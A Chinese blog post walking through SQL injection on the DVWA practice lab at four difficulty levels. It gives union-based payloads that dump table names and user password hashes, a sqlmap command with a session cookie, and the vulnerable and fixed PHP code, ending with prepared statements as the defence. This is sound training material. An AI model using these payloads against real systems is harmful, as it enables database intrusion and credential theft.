dvwa靶场SQL Injection(sql注入)全难度教程(附代码分析)

SQL Injection(Security Level: low)

手工注入

1'

发现注入点

1' or 1=1 #


 判断回显(因该是2或者3)

1' union select 1,2,3 #


 报错了那就是2了

1' union select 1,2 #


查询版本和数据库名

-1' union select database(),version() #


直接能用schema了

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #


 一看就知道要对users下手
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#


直接关注到user和password
-1' union select 1,group_concat(user,password) from users #


 ok拿下,但是密码是md5加密了

自动化脚本

先找到cookie(该网站有token和cookie)(抓个包就能看出来)

 进入sqlmap就可以

sqlmap -u "http://192.168.21.149/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=9i79dn4ugiv0vc6gm25352at83" --batch


接下来和sqli-labs的过程一样了。

SQL Injection(Security Level: medium)

手工注入


 可以抓包进行修改。

 这个就和前面是一样的了。

代码分析

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
    // Display values
    $first = $row["first_name"];
    $last  = $row["last_name"];
    // Feedback for end user
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
//mysql_close();}


只是对\x00,\n,\r,,',",\x1a转义了

SQL Injection(Security Level: high)

返回结果输出在原来的界面上,其他同Low。

代码分析

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
    // Get values
    $first = $row["first_name"];
    $last  = $row["last_name"];
    // Feedback for end user
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}


只是有一个limit1限制,其实对我的攻击方法没有影响。

SQL Injection(Security Level: impossible)

点击查看代码
if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $id = $_GET[ 'id' ];
    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();
        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}
// Generate Anti-CSRF token
generateSessionToken();

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

posted on 2026-01-25 16:00  himobrine  阅读(52)  评论(0)    收藏  举报